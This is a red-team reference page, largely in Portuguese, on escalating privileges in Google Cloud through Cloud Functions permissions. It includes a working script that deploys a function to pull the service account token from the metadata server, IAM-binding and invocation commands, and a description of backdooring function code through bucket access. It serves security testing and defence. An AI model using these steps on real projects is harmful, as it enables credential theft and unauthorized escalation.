GCP - Cloudfunctions Privesc

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

cloudfunctions

Mais informaçÔes sobre Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Um atacante com esses privilégios pode criar uma nova Cloud Function com código arbitrårio (malicioso) e atribuir-lhe um Service Account. Then, leak the Service Account token from the metadata to escalate privileges to it.
Alguns privilégios para acionar a função podem ser necessårios.

Exploit scripts para este método podem ser encontrados here e here e o arquivo .zip pré-construído pode ser encontrado here.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Um atacante com esses privilégios pode modificar o código de uma Function e até alterar o Service Account associado com o objetivo de exfiltrar o token.

Caution

Para implantar Cloud Functions vocĂȘ tambĂ©m precisarĂĄ de permissĂ”es actAs sobre o default compute service account ou sobre o service account que Ă© usado para construir a imagem.

Alguns privilégios adicionais, como a permissão .call para cloudfunctions versão 1 ou o papel role/run.invoker para acionar a função, podem ser necessårios.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Caution

Se vocĂȘ receber o erro Permission 'run.services.setIamPolicy' denied on resource... Ă© porque vocĂȘ estĂĄ usando o parĂąmetro --allow-unauthenticated e nĂŁo tem permissĂ”es suficientes para isso.

The exploit script for this method can be found here.

cloudfunctions.functions.sourceCodeSet

Com esta permissĂŁo vocĂȘ pode obter uma URL assinada para poder fazer upload de um arquivo para o bucket da função (mas o cĂłdigo da função nĂŁo serĂĄ alterado, vocĂȘ ainda precisa atualizĂĄ-lo)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

NĂŁo tenho muita certeza de quĂŁo Ăștil apenas essa permissĂŁo Ă© do ponto de vista de um attacker, mas Ă© bom saber.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Conceda a si mesmo qualquer um dos privilégios anteriores .update ou .create para escalar.

gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"

cloudfunctions.functions.update

Tendo apenas as permissĂ”es cloudfunctions, sem iam.serviceAccounts.actAs, vocĂȘ nĂŁo poderĂĄ atualizar a função, ENTÃO ISTO NÃO É UM PRIVESC VÁLIDO.

Invocar funçÔes

Com as permissĂ”es cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run, and run.routes.invoke, uma identidade pode invocar diretamente Cloud Functions. TambĂ©m Ă© necessĂĄrio que a função permita trĂĄfego pĂșblico, ou que o chamador esteja dentro da mesma rede que a prĂłpria função.

curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{  "name": "Developer" }'

Acesso de Leitura e Escrita no bucket

Se vocĂȘ tem acesso de leitura e escrita no bucket, pode monitorar mudanças no cĂłdigo e sempre que houver uma atualização no bucket vocĂȘ pode substituir o novo cĂłdigo pelo seu prĂłprio de forma que a nova versĂŁo da Cloud Function serĂĄ executada com o backdoored code submetido.

VocĂȘ pode verificar mais sobre o ataque em:

GCP - Storage Privesc

No entanto, vocĂȘ nĂŁo pode usar isso para prĂ©-comprometer Cloud Functions de terceiros porque, se vocĂȘ criar o bucket na sua conta e der permissĂ”es pĂșblicas para que o projeto externo possa escrever nele, vocĂȘ recebe o seguinte erro:

Caution

No entanto, isso poderia ser usado para ataques DoS.

Acesso de Leitura e Escrita no Artifact Registry

Quando uma Cloud Function é criada, uma nova docker image é enviada para o Artifact Registry do projeto. Tentei modificar a image por uma nova, e até deletar a imagem atual (e a cache image) e nada mudou, a cloud function continuou funcionando. Portanto, talvez seja possível abusar de um Race Condition attack como com o bucket para trocar o docker container que serå executado, mas apenas modificar a imagem armazenada não é suficiente para comprometer a Cloud Function.

ReferĂȘncias

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks